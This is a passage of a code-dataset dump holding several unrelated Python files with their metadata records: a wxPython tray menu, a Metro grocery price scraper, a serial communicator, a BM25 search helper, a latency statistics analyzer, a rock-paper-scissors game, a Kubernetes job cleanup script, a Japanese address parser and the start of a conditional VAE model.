self.ExitMenu = wx.Menu()\n\n self.TaskBarIconMenu.AppendSeparator()\n self.TaskBarIconMenu.Append(self.ViewID, u\"显示主界面(&M)\")\n self.TaskBarIconMenu.Append(ID_OpenDir, u\"打开目录(&O)\", u\"打开目录\")\n self.TaskBarIconMenu.AppendSeparator()\n self.TaskBarIconMenu.Append(wx.ID_EXIT, u\"退出(&X)\")\n\n self.TaskBarIconMenu.Bind(wx.adv.EVT_TASKBAR_LEFT_DCLICK, self.OnDclick)\n self.TaskBarIconMenu.Bind(wx.EVT_MENU, self.OnDclick, id=self.ViewID)\n self.TaskBarIconMenu.Bind(wx.EVT_MENU, self.OpenWorkDir, id=ID_OpenDir)\n self.TaskBarIconMenu.Bind(wx.EVT_MENU, self.OnExit, id=wx.ID_EXIT)\n return self.TaskBarIconMenu\n\n # 单击, 当前没有使用\n def OnClick(self, e):\n self.MainFrame.IsIconized()\n if e:\n e.Skip()\n\n # 双击展示主面板\n def OnDclick(self, e):\n # Destroy删除元素，无法恢复创建\n self.Destroy()\n self.MainFrame.Restore()\n self.MainFrame.Raise()\n if e:\n e.Skip()\n\n def OpenWorkDir(self, e):\n toolpath = os.path.splitext(scriptPath)[0] + '.exe'\n explorer_select_file(toolpath)\n if e:\n e.Skip()\n\n # 退出\n def OnExit(self, e):\n # 托盘图标销毁\n self.Destroy()\n # 主面板销毁\n # self.MainFrame.Destroy()\n self.MainFrame.OnExit(e)\n # 退出wx进程\n # wx.Exit()\n if e:\n e.Skip()\n\n\n# TODO: 主进程\nclass NewApp(wx.App):\n def __init__(self):\n super(NewApp, self).__init__(redirect=sys.stderr, filename='./ProcessManagerError.log')\n\n def OnInit(self):\n window = RootFrame()\n window.Show()\n return True\n\n\nif __name__ == '__main__':\n multiprocessing.freeze_support()\n app = NewApp()\n app.MainLoop()\n # pyinstaller -w -F -p \"E:\\Git\\wxPython\\common;C:\\Python27\" -i E:\\Git\\wxPython\\icon\\poker.ico ProcessManager.py\n","sub_path":"ProcessManager - 副本.py","file_name":"ProcessManager - 副本.py","file_ext":"py","file_size_in_byte":62283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"432273697","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport csv\nimport core_shopping_list\n\ndef metro_parse(url,substitution=dict()):\n ### Внимание! Функция парсит только Первую страницу каждого урла ###\n browser = webdriver.PhantomJS()\n browser.get(url)\n html = browser.page_source\n soup = BeautifulSoup(html)\n section = soup.find(\"div\",{\"class\": \"items\"})\n articles = section.find_all(\"div\",{\"class\":\"catalog-i\"})\n products =[]\n for article in articles:\n name_src = article.find(\"span\",{\"class\":\"title\"})\n art = article.find(\"span\",{\"class\":\"article\"})\n price_full = article.find(\"div\",{\"price_cnt\"})\n price_int_src = price_full.find(\"span\",{\"class\":\"int\"})\n price_float_src = price_full.find(\"span\",{\"class\":\"float\"})\n name = name_src.text\n price = price_int_src.text + '.' + price_float_src.text\n for key in substitution:\n if name == key:\n products.append({\n 'title': substitution[key],\n 'price': price\n }) \n return products \n\ndef main():\n change = change = core_shopping_list.substitution('metro')\n\n url_list =['https://msk.metro-cc.ru/category/produkty/bakaleya/makaronnye-izdeliya?price_range=11%3B1361&brands=&in_stock=1&attrs=&sorting=0&limit=72&virtual_stock=0',\n 'https://msk.metro-cc.ru/category/produkty/ovoschi-griby/101009003-konservirovannye?price_range=27%3B3397&brands=&in_stock=1&attrs=&attr%5B253%5D%5Bfrom%5D=0&attr%5B253%5D%5Bto%5D=0&sorting=0&limit=72&virtual_stock=0',\n 'https://msk.metro-cc.ru/category/produkty/holodnye-napitki/soki-morsy-nektary?price_range=15%3B1693&brands=&in_stock=1&attrs=&attr%5B181%5D%5Bfrom%5D=0&attr%5B181%5D%5Bto%5D=0&sorting=0&limit=72&virtual_stock=0', \n ]\n\n product_list_metro =[]\n for url in url_list:\n for page in range(1,10):\n url_page = url+'&page='+ str(page)\n product_list_metro += metro_parse(url_page,change) \n temp=[]\n for item in product_list_metro:\n if item not in temp:\n temp.append(item)\n product_list_metro = temp\n with open('metro.csv','w', encoding='utf-8') as f:\n fields = ['title', 'price']\n writer =csv.DictWriter(f,fields,delimiter =';')\n for item in product_list_metro:\n writer.writerow(item)\n \n\nif __name__ == \"__main__\":\n main()","sub_path":"metro_parser.py","file_name":"metro_parser.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"52280352","text":"# -*- encoding: utf-8 -*-\n\nimport json\nfrom threading import Thread\nimport logging\nimport serial\nimport time\n\nlogger = logging.getLogger(__name__)\n\n\nclass WarehouseCommunicator(Thread):\n x = 0\n y = 0\n z = 0\n\n def __init__(self, level=logging.INFO, port='/dev/ttyAMA0', baudrate=115200,\n parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS):\n Thread.__init__(self)\n logging.basicConfig()\n logger.setLevel(level)\n formatter = logging.Formatter(\"%(asctime)s %(threadName)-11s %(levelname)-10s %(message)s\")\n self.serial = serial.Serial(port=port, baudrate=baudrate, bytesize=bytesize,\n stopbits=stopbits, parity=parity, timeout=3.0)\n self.daemon = True\n logger.info(\"STM <--> Raspberry communication started!\")\n\n def run(self):\n while True:\n for line in self.serial:\n try:\n parsed_line = json.loads(line[-29:])\n if parsed_line['x'] != self.x or parsed_line['y'] != self.y or parsed_line['z'] != self.z:\n logger.info(\"Received: \" + line)\n\n self.x = parsed_line['x']\n self.y = parsed_line['y']\n self.z = parsed_line['z']\n except Exception as exc:\n logger.error(exc)\n\n def send(self, command, value=99):\n if value < 0:\n value = 0\n logger.error(\"Wrong value!\" + ':' + str(command).zfill(2) + '-' + str(value).zfill(8))\n\n command_string = ':' + str(command).zfill(2) + '-' + str(value).zfill(8) + '\\r\\n'\n logger.debug(\"Sent: \" + command_string)\n self.serial.write(command_string)\n time.sleep(0.01)\n","sub_path":"WarehouseServer/serial_thread.py","file_name":"serial_thread.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"494755600","text":"from gensim.summarization import bm25\nfrom glob import glob\nimport re\nfrom heapq import nlargest\n\n\nclass Utils:\n word_regex = r\"[\\w'-]+\"\n\n def __init__(self, collection_path):\n corpus = []\n self.test_files = glob(collection_path + '*.txt')\n self.num_docs = len(self.test_files)\n for file in self.test_files:\n doc = []\n with open(file) as text:\n for line in text:\n for word in re.findall(Utils.word_regex, line):\n doc.append(word.lower())\n corpus.append(doc)\n self.bm25_obj = bm25.BM25(corpus=corpus)\n self.avg_idf = sum(map(lambda k: float(self.bm25_obj.idf[k]), self.bm25_obj.idf.keys())) / len(\n self.bm25_obj.idf.keys())\n\n def best(self, n: int, query_str: str):\n query_doc = [word.lower() for word in re.findall(Utils.word_regex, query_str)]\n scores = self.bm25_obj.get_scores(query_doc, self.avg_idf)\n doc_ids = [i for i in range(self.num_docs)]\n best_ids = nlargest(n, doc_ids, key=lambda i: scores[i])\n return [self.test_files[doc_id] for doc_id in best_ids]\n\n\nif __name__ == '__main__':\n utils = Utils('D:/test files/')\n print(utils.best(3, 'France'))\n","sub_path":"BM25/bm25_utils.py","file_name":"bm25_utils.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"107422832","text":"import sys\nimport os\nimport math\nfrom operator import add\nimport statistics\nfrom scipy.stats import t\nfrom itertools import zip_longest\n\nimport click\n\nBASE_PATH = os.path.dirname(os.path.realpath(__file__))\nDATA_PATH = os.path.join(BASE_PATH, \"../../stats\")\n\n\nMEAN_MAX = 9999999\n\n@click.group()\ndef cli():\n pass\n\n@cli.command()\n@click.argument('path')\n@click.argument('prefix')\ndef db(path, prefix):\n global DATA_PATH\n if not os.path.isdir(path):\n click.echo('{}: {}'\n .format(sys.argv[0],\n click.style('provided path `'+path+'` is no directory', fg='red')))\n sys.exit(1)\n DATA_PATH = os.path.join(BASE_PATH, \"../../stats\", prefix)\n if not os.path.exists(DATA_PATH):\n os.makedirs(DATA_PATH)\n analyze_logs(path)\n\n\ndef analyze_logs(path):\n subdirs = [os.path.join(path, p) for p in os.listdir(path) if os.path.isdir(os.path.join(path, p))]\n\n # reach leaf directory, try to analyze\n if len(subdirs) == 0:\n if path.find('response-time') != -1:\n analyze_db_leaf(path)\n else:\n for p in subdirs:\n click.echo(p)\n if p.find('middleware') != -1:\n analyze_mw_logs(p)\n elif p.find('mload') != -1 or p.find('middleware') != -1:\n analyze_mload_logs(p)\n else:\n analyze_logs(p)\n\n\ndef analyze_mw_logs(path):\n subdirs = [os.path.join(path, p) for p in os.listdir(path) if os.path.isdir(os.path.join(path, p))]\n\n for sp in subdirs:\n if sp.find('backendDuration') != -1 or sp.find('totalDuration') != -1 or sp.find('backendQueue') != -1:\n analyze_mw_leaf(sp, os.path.basename(path))\n\ndef analyze_mload_logs(path):\n subdirs = [os.path.join(path, p) for p in os.listdir(path) if os.path.isdir(os.path.join(path, p))]\n\n num_threads = path.split('-')[-1]\n data = {}\n for p in subdirs:\n data[p] = analyze_db_leaf(p)\n\n fpath = os.path.join(DATA_PATH, get_name(path), num_threads+'')\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n\n (tp_mean, tp_stdev, rt_mean, rt_stdev, gi) = calculate_stats(data, fpath)\n\n\n click.echo('mload summary response-time mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(rt_mean, rt_stdev))\n\n with open(os.path.join(os.path.join(DATA_PATH, 'mload/mload-response-time-stats.txt')), 'a') as f:\n f.write(num_threads+'\\t')\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [rt_mean, rt_stdev]))\n f.write('\\n')\n\n click.echo('throughput mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(tp_mean, tp_stdev))\n with open(os.path.join(os.path.join(DATA_PATH, 'mload/mload-throughput-stats.txt')), 'a') as f:\n f.write(num_threads+'\\t')\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [tp_mean, tp_stdev]))\n f.write('\\n')\n\n\ndef grouper(iterable, n, fillvalue=None):\n args = [iter(iterable)] * n\n return zip_longest(*args, fillvalue=fillvalue)\n\ndef calculate_stats(data, path, no_calc=False):\n click.echo(\"Use path \"+path)\n f_rt_over_time = open(os.path.join(path, 'response-time-over-time.txt'), 'wt')\n f_tp_over_time = open(os.path.join(path, 'throughput-over-time.txt'), 'wt')\n f_rt = open(os.path.join(path, 'experiment-response-time.txt'), 'wt')\n f_tp = open(os.path.join(path, 'experiment-throughput.txt'), 'wt')\n\n tp_over_time = []\n throughputs = []\n tp_experiments = []\n rt_experiments = []\n\n tp_experiment_collector = []\n rt_experiment_collector = []\n\n flat_rts = []\n grouped_intervals = []\n\n count = 0\n i = 0\n for interval_data in zip(*data.values()):\n flat_interval = [x for l in interval_data for x in l]\n flat_rts += flat_interval\n grouped_intervals.append(flat_interval)\n throughputs.append(len(flat_interval))\n \n if no_calc: continue\n try:\n f_tp_over_time.write('{}\\t{:10.3f}\\n'.format(i, len(flat_interval)))\n mean = statistics.mean(flat_interval)\n f_rt_over_time.write('{}\\t{:10.3f}\\t{:10.3f}\\n'.format(i, mean,\n statistics.stdev(flat_interval, mean)))\n i += 1\n except statistics.StatisticsError as e:\n click.echo(click.style('Interval {} is empty'.format(len(throughputs)+1)))\n\n if len(tp_experiment_collector) == 60:\n mean = statistics.mean(tp_experiment_collector)\n stdev = statistics.stdev(tp_experiment_collector, mean)\n f_tp.write('{}\\t{:10.3f}\\t{:10.3f}\\n'.format(count, mean, stdev))\n tp_experiments.append((mean, stdev))\n tp_experiment_collector = []\n count += 5\n tp_experiment_collector.append(len(flat_interval))\n\n if no_calc:\n return (0, 0, 0, 0, grouped_intervals)\n\n click.echo('calculate TP confidence for {} with {} samples'.format(path, len(tp_experiments)))\n tp_mean, tp_stdev, found = get_confidence_interval(tp_experiments, 0.15)\n if not found:\n click.echo(click.style(\"Throughput: Could not match confidence interval\", fg='red'))\n rt_stats = []\n count = 0\n for experiment in grouper(flat_rts, 100000, MEAN_MAX):\n if experiment[-1] == MEAN_MAX:\n break\n mean = statistics.mean(experiment)\n stdev = statistics.stdev(experiment, mean)\n f_rt.write('{}\\t{:10.3f}\\t{:10.3f}\\n'.format(count,mean, stdev))\n count += 1\n rt_stats.append((mean, stdev))\n\n click.echo('calculate RT confidence for {} with {} samples'.format(path, len(rt_stats)))\n rt_mean, rt_stdev, found = get_confidence_interval(rt_stats, 0.05)\n if not found:\n click.echo(click.style(\"Response Time: Could not match confidence interval\", fg='red'))\n\n return (tp_mean, tp_stdev, rt_mean, rt_stdev, grouped_intervals)\n\n\ndef get_confidence_interval(experiment, signi):\n tt = t.ppf(1-(signi/2.0), len(experiment)-1)\n\n #click.echo(experiment)\n gmean = MEAN_MAX\n gstdev = MEAN_MAX\n min_error = MEAN_MAX\n found = False\n for (mean, stdev) in experiment:\n invalid_count = 0\n mmax = mean + tt * (stdev / math.sqrt(len(experiment)))\n mmin = mean - tt * (stdev / math.sqrt(len(experiment)))\n\n for (om, _) in experiment:\n if om < mmin or om > mmax:\n invalid_count += 1\n\n error = invalid_count / float(len(experiment))\n #click.echo('{:10.3f} {:10.3f} {:10.3f}'.format(mean, mmax, mmin, error))\n if error <= signi:\n #click.echo('found with error {} {}'.format(error, stdev))\n if not found:\n gmean = mean\n gstdev = stdev\n else:\n if gstdev > stdev:\n gmean = mean\n gstdev = stdev\n found = True\n else:\n if (not found) and error < min_error:\n gmean = mean\n gstdev = stdev\n min_error = min(min_error, error)\n\n click.echo('min error {}'.format(min_error))\n return gmean, gstdev, found\n\n\n\ndef analyze_mw_leaf(path, name):\n click.echo(\"Analyze mw logs: \"+path)\n\n fpath = os.path.join(DATA_PATH, name, os.path.basename(path))\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n\n data = {}\n for _, _, files in os.walk(path):\n for fname in files:\n if fname.find('.txt') != -1:\n continue\n with open(os.path.join(path, fname)) as f:\n intervals = []\n current_interval = []\n for row in f.readlines():\n if row.find(\":\") == -1:\n # normalize to milliseconds\n if path.find('backendDuration') != -1 or path.find('totalDuration') != -1:\n current_interval.append(int(row.split('\\t')[-1])/1000.0)\n else:\n current_interval.append(int(row)/1000.0)\n else:\n intervals.append(current_interval)\n current_interval = []\n data[fname] = intervals\n\n (tp_mean, tp_stdev, rt_mean, rt_stdev, gi) = calculate_stats(data, fpath)\n click.echo('response-time mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(rt_mean, rt_stdev))\n\n with open(os.path.join(DATA_PATH, os.path.basename(path)+'-response-time-stats.txt'), 'a') as f:\n f.write(name.split('-')[-1]+\"\\t\")\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [rt_mean, rt_stdev]))\n f.write('\\n')\n\n click.echo('throughput mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(tp_mean, tp_stdev))\n with open(os.path.join(DATA_PATH, os.path.basename(path)+'-throughput-stats.txt'), 'a') as f:\n f.write(name.split('-')[-1]+\"\\t\")\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [tp_mean, tp_stdev]))\n f.write('\\n')\n\n\ndef get_name(path):\n for n in ['mpeek', 'msend', 'mpop', 'mquery', 'mecho', 'peek', 'send', 'pop', 'mload']:\n if path.find(n) != -1:\n return n\n\n\ndef analyze_db_leaf(path):\n click.echo(\"Analyze logs: \"+path)\n typ, num_threads = os.path.basename(path).split('-')[0], path.split('-')[-1]\n if get_name(path) == 'mload':\n fpath = os.path.join(DATA_PATH, get_name(path), typ+'-'+num_threads)\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n else:\n fpath = os.path.join(DATA_PATH, get_name(path), num_threads)\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n\n data = {}\n for _, _, files in os.walk(path):\n for fname in files:\n\n if fname.find('.txt') != -1:\n continue\n with open(os.path.join(path, fname)) as f:\n intervals = []\n current_interval = []\n for row in f.readlines():\n if row.find(\"B\") == -1 and row.find('b') == -1:\n # normalize to milliseconds\n parts = row.split('\\t')\n current_interval.append(int(parts[-1])/1000.0)\n else:\n intervals.append(current_interval)\n current_interval = []\n data[fname] = intervals\n\n (tp_mean, tp_stdev, rt_mean, rt_stdev, gi) = calculate_stats(data, fpath)\n\n\n click.echo('response-time mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(rt_mean, rt_stdev))\n\n with open(os.path.join(os.path.join(DATA_PATH, get_name(path)), typ+'-response-time-stats.txt'), 'a') as f:\n f.write(num_threads+'\\t')\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [rt_mean, rt_stdev]))\n f.write('\\n')\n\n click.echo('throughput mean: {:10.3f}\\t\\tstdev: {:10.3f}'.format(tp_mean, tp_stdev))\n with open(os.path.join(os.path.join(DATA_PATH, get_name(path)), typ+'-throughput-stats.txt'), 'a') as f:\n f.write(num_threads+'\\t')\n f.write('\\t'.join('{:10.3f}'.format(x) for x in [tp_mean, tp_stdev]))\n f.write('\\n')\n\n return gi\n\n\nif __name__ == '__main__':\n cli()\n","sub_path":"scripts/plot/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":10984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"469162271","text":"import random\r\n\r\nresults = [(\"rock\", \"scissors\"), (\"scissors\", \"paper\"),(\"paper\", \"rock\"), (\"rock\", \"lizard\"), (\"lizard\",\"spock\"),\r\n (\"spock\", \"scissors\"), (\"scissors\", \"lizard\"), (\"lizard\", \"paper\"), (\"paper\", \"spock\"), (\"spock\", \"rock\")]\r\nmoves = [result[0] for result in results]\r\n\r\nplayer_score, computer_score =(0, 0)\r\nplayer = input(\"Enter rock / paper / scissors / lizard / spock / quit: \").lower()\r\nwhile player != \"quit\":\r\n computer = random.choice(moves)\r\n print(\"You Chose {}, I Chose {}\".format(player,computer))\r\n if player == computer:\r\n print(\"Its a Tie!\")\r\n elif(player, computer) in results:\r\n print(\"You Win\")\r\n player_score += 1\r\n elif(computer, player) in results:\r\n print(\"I Win!\")\r\n computer_score += 1\r\n else:\r\n print(\"Invalid Input\")\r\n player = input(\" Enter rock / paper / scissors / lizard / spock /quit: \").lower()\r\n\r\nprint(\"FINAL SCORE\")\r\nprint(\"You: {} Me: {}\".format(player_score, computer_score))","sub_path":"RockPaperScissorsLizaedSpock.py","file_name":"RockPaperScissorsLizaedSpock.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"225366994","text":"import os\nimport logging\nimport logging.config\nfrom pythonjsonlogger import jsonlogger\nfrom datetime import datetime;\nimport requests\nimport time\n\nfrom kubernetes import client, config, utils\nimport kubernetes.client\nfrom kubernetes.client.rest import ApiException\n\nclass ElkJsonFormatter(jsonlogger.JsonFormatter):\n def add_fields(self, log_record, record, message_dict):\n super(ElkJsonFormatter, self).add_fields(log_record, record, message_dict)\n log_record['@timestamp'] = datetime.now().isoformat()\n log_record['level'] = record.levelname\n log_record['logger'] = record.name\n\nlogging.config.fileConfig('logging.conf')\nlogger = logging.getLogger('inspector')\n\nLOG_LEVEL = os.getenv('LOG_LEVEL', 'INFO').upper()\nFILE_PROCESSOR = \"file-processor\"\n\n# Setup K8 configs\nconfig.load_kube_config()\nconfiguration = kubernetes.client.Configuration()\napi_instance = kubernetes.client.BatchV1Api(kubernetes.client.ApiClient(configuration))\n\ndef kube_delete_empty_pods(namespace='default', phase='Succeeded'):\n \"\"\"\n Pods are never empty, just completed the lifecycle.\n As such they can be deleted.\n Pods can be without any running container in 2 states:\n Succeeded and Failed. This call doesn't terminate Failed pods by default.\n \"\"\"\n # The always needed object\n #deleteoptions = client.V1DeleteOptions()\n # We need the api entry point for pods\n api_pods = client.CoreV1Api()\n # List the pods\n try:\n pods = api_pods.list_namespaced_pod(namespace)\n except ApiException as e:\n logging.error(\"Exception when calling CoreV1Api->list_namespaced_pod: %s\\n\" % e)\n return\n\n for pod in pods.items:\n logging.debug(pod)\n podname = pod.metadata.name\n if not podname.startswith(FILE_PROCESSOR):\n continue \n try:\n if pod.status.phase == phase:\n api_response = api_pods.delete_namespaced_pod(podname, namespace, body={})\n logging.info(\"Pod: {} deleted!\".format(podname))\n logging.debug(api_response)\n else:\n logging.info(\"Pod: {} still not done... Phase: {}\".format(podname, pod.status.phase))\n except ApiException as e:\n logging.error(\"Exception when calling CoreV1Api->delete_namespaced_pod: %s\\n\" % e)\n \n return\n\ndef kube_cleanup_finished_jobs(namespace='default', state='Finished'):\n \n \"\"\"\n Since the TTL flag (ttl_seconds_after_finished) is still in alpha (Kubernetes 1.12) jobs need to be cleanup manually\n As such this method checks for existing Finished Jobs and deletes them.\n By default it only cleans Finished jobs. Failed jobs require manual intervention or a second call to this function.\n Docs: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/#clean-up-finished-jobs-automatically\n For deletion you need a new object type! V1DeleteOptions! But you can have it empty!\n CAUTION: Pods are not deleted at the moment. They are set to not running, but will count for your autoscaling limit, so if\n pods are not deleted, the cluster can hit the autoscaling limit even with free, idling pods.\n To delete pods, at this moment the best choice is to use the kubectl tool\n ex: kubectl delete jobs/JOBNAME.\n But! If you already deleted the job via this API call, you now need to delete the Pod using Kubectl:\n ex: kubectl delete pods/PODNAME\n \"\"\"\n #deleteoptions = client.V1DeleteOptions()\n try: \n jobs = api_instance.list_namespaced_job(namespace)\n #print(jobs)\n except ApiException as e:\n print(\"Exception when calling BatchV1Api->list_namespaced_job: %s\\n\" % e)\n return\n \n # Now we have all the jobs, lets clean up\n # We are also logging the jobs we didn't clean up because they either failed or are still running\n for job in jobs.items:\n logging.debug(job)\n jobname = job.metadata.name\n jobstatus = job.status.conditions\n if not jobname.startswith(FILE_PROCESSOR):\n continue\n if job.status.succeeded == 1:\n # Clean up Job\n logging.info(\"Cleaning up Job: {}. Finished at: {}\".format(jobname, job.status.completion_time))\n try: \n # What is at work here. Setting Grace Period to 0 means delete ASAP. Otherwise it defaults to\n # some value I can't find anywhere. Propagation policy makes the Garbage cleaning Async\n api_response = api_instance.delete_namespaced_job(jobname,\n namespace)\n logging.debug(api_response)\n except ApiException as e:\n print(\"Exception when calling BatchV1Api->delete_namespaced_job: %s\\n\" % e)\n else:\n if jobstatus is None and job.status.active == 1:\n jobstatus = 'active'\n logging.info(\"Job: {} not cleaned up. Current status: {}\".format(jobname, jobstatus))\n \n # Now that we have the jobs cleaned, let's clean the pods\n kube_delete_empty_pods(namespace)\n # And we are done!\n return\n\ndef kube_processor_jobs_running(namespace='default', state='Finished'):\n \n try: \n jobs = api_instance.list_namespaced_job(namespace)\n #print(jobs)\n except ApiException as e:\n print(\"Exception when calling BatchV1Api->list_namespaced_job: %s\\n\" % e)\n return True\n \n # Now we have all the jobs, lets clean up\n # We are also logging the jobs we didn't clean up because they either failed or are still running\n for job in jobs.items:\n logging.debug(job)\n jobname = job.metadata.name\n jobstatus = job.status.conditions\n if jobname.startswith(FILE_PROCESSOR):\n return True\n \n return False\n\n\nclass Main():\n\n @staticmethod\n def log_level(level):\n logging.basicConfig(level=getattr(logging, level))\n\n @staticmethod\n def run_processor():\n\n while kube_processor_jobs_running():\n logger.debug(\"Previous job still running\")\n kube_cleanup_finished_jobs()\n time.sleep(1)\n\n job_name = FILE_PROCESSOR\n\n envs = [client.V1EnvVar(name=\"API_TOKEN\", value=os.getenv(\"API_TOKEN\"))]\n\n processor_container = client.V1Container(\n name=\"processor\",\n image=os.getenv(\"PROCESSOR_IMAGE\", \"ggrig/k8-traffic:re_processor\"),\n env=envs)\n\n pod_spec = client.V1PodSpec(\n restart_policy=\"Never\",\n containers=[processor_container])\n\n # Create and configure a spec section\n template = client.V1PodTemplateSpec(\n metadata=client.V1ObjectMeta(name=job_name, labels={\n \"app\": \"file-rebuild-processor\"}),\n spec=pod_spec)\n\n # Create the specification of the job\n spec = client.V1JobSpec(\n template=template,\n backoff_limit=0)\n\n # Instantiate the job object\n job = client.V1Job(\n api_version=\"batch/v1\",\n kind=\"Job\",\n metadata=client.V1ObjectMeta(name=job_name),\n spec=spec)\n\n logger.info(\"trying to create a job:\" + job_name)\n client.BatchV1Api().create_namespaced_job(\n body=job,\n namespace=\"default\")\n\n @staticmethod\n def application():\n\n # No Loop debug run\n #Main.run_processor()\n #return\n \n while True:\n try:\n Main.run_processor()\n except Exception as e:\n logger.error(e)\n\n @staticmethod\n def main():\n Main.log_level(LOG_LEVEL)\n Main.application()\n\nif __name__ == \"__main__\":\n Main.main()\n","sub_path":"upwork-devs/harut-gigoryan/rebuild-engine/inspector/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":7786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"83703462","text":"# -*- coding: utf-8 -*-\nimport logging\n\nfrom pkg_resources import resource_stream\n\nfrom parsel import Selector\n\n\n__version__ = '0.1.2'\n\n\nlogger = logging.getLogger(__name__)\n\n\nPREFECTURES_DATA = dict([l.decode('utf8').split() for l in resource_stream('japanese_address', 'data/prefs.dat')])\nJAPANESE_PREFECTURES = list(PREFECTURES_DATA.keys())\n\n\ndef load_wiki(datafile, endchar):\n sel = Selector(text=resource_stream('japanese_address', datafile).read().decode('utf8'))\n for trow in sel.xpath('//tr'):\n japtext = trow.xpath('.//*[@lang=\"ja\"]/text()').extract()\n if japtext and japtext[0].endswith(endchar):\n engtext = trow.xpath('.//*[@lang=\"ja\"]/ancestor::td/preceding-sibling::td//text()').extract()[-1]\n if engtext:\n yield japtext[0], engtext\n\n\nCITIES_DATA = dict(load_wiki('data/cities.html', \"市\"))\nWARDS_DATA = dict(load_wiki('data/wards.html', \"区\"))\nTOWNS_DATA = dict(load_wiki('data/towns.html', \"町\"))\n\n\ndef _parse_prefecture(txt):\n for pref in JAPANESE_PREFECTURES:\n start = txt.find(pref)\n if start >= 0:\n return txt[start:len(pref)].strip()\n\n\ndef _parse_divisor(txt, divisor, dlen):\n start = txt.find(divisor)\n if start >= 0:\n return txt[0:start+dlen].strip()\n\n\ndef _parse_level(div, kanji, parsed):\n dlen = len(kanji)\n if parsed.get('unparsed_right'):\n entity = _parse_divisor(parsed['unparsed_right'], kanji, dlen)\n if entity:\n parsed[div] = entity\n parsed['unparsed_right'] = parsed['unparsed_right'].split(entity, 1)[1].strip()\n elif parsed.get('unparsed_left'):\n entity = _parse_divisor(parsed['unparsed_left'], kanji, dlen)\n if entity:\n parsed[div] = entity\n parsed['unparsed_left'] = parsed['unparsed_left'].split(entity, 1)[1].strip()\n\n\ndef parse(txt):\n \"\"\"\n >>> parse('北海道 札幌市 中央区北5条西4-7')\n >>> parse('東京都江東区豊洲2丁目4-9')\n \"\"\"\n parsed = {}\n pref = _parse_prefecture(txt)\n if pref:\n parsed['prefecture'] = pref\n parsed['prefecture_eng'] = PREFECTURES_DATA[pref]\n reml, remr = txt.split(pref, 1)\n if reml:\n parsed['unparsed_left'] = reml.strip()\n if remr:\n parsed['unparsed_right'] = remr.strip()\n else:\n parsed['unparsed_right'] = txt\n\n _parse_level('city', \"市\", parsed)\n if 'city' in parsed:\n parsed['city_eng'] = CITIES_DATA[parsed['city']]\n _parse_level('ward', \"区\", parsed)\n if 'ward' in parsed:\n parsed['ward_eng'] = WARDS_DATA[parsed['ward']]\n _parse_level('district', \"郡\", parsed)\n _parse_level('town', \"町\", parsed)\n if 'town' in parsed:\n if parsed['town'] in TOWNS_DATA:\n parsed['town_eng'] = TOWNS_DATA[parsed['town']]\n else:\n logger.warning(f\"Town {parsed['town']} not in database\")\n _parse_level('city_district', \"丁目\", parsed)\n\n return parsed\n","sub_path":"japanese_address/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385090740","text":"import numpy as np\n\nfrom keras.layers import Input, Dense, Lambda\nfrom keras.layers.merge import concatenate\nfrom keras.models import Model, Sequential\n\nimport keras.backend as K\n\nfrom models import vgg\n\nfrom utils.losses import gaussian_kl_divergence_tf, gaussian_kl_divergence_np\nfrom utils.losses import von_mises_log_likelihood_tf, von_mises_log_likelihood_np\nfrom utils.angles import deg2bit, bit2deg, bit2deg_multi\nfrom utils.losses import maad_from_deg, maximum_expected_utility, importance_loglikelihood\nfrom scipy.stats import sem\n\n\nclass CVAE:\n\n def __init__(self,\n image_height=50,\n image_width=50,\n n_channels=3,\n n_hidden_units=8,\n kl_weight=1.0):\n\n self.n_u = n_hidden_units\n self.image_height = image_height\n self.image_width = image_width\n self.n_channels = n_channels\n self.phi_shape = 2\n self.kl_weight = kl_weight\n\n self.x = Input(shape=[self.image_height, self.image_width, self.n_channels])\n\n self.phi = Input(shape=[self.phi_shape])\n\n self.u = Input(shape=[self.n_u])\n\n self.x_vgg = vgg.vgg_model(image_height=self.image_height,\n image_width=self.image_width)(self.x)\n\n self.x_vgg_shape = self.x_vgg.get_shape().as_list()[1]\n\n # self.x_vgg_prior = vgg.vgg_model(image_height=self.image_height,\n # image_width=self.image_width)(self.x)\n #\n # self.x_vgg_decoder = vgg.vgg_model(image_height=self.image_height,\n # image_width=self.image_width)(self.x)\n\n self.mu_encoder, self.log_var_encoder = self._encoder_mu_log_sigma()\n\n self.mu_prior, self.log_var_prior = self._prior_mu_log_sigma()\n\n self.u_prior = Lambda(self._sample_u)([self.mu_prior, self.log_var_prior])\n self.u_encoder = Lambda(self._sample_u)([self.mu_encoder, self.log_var_encoder])\n\n 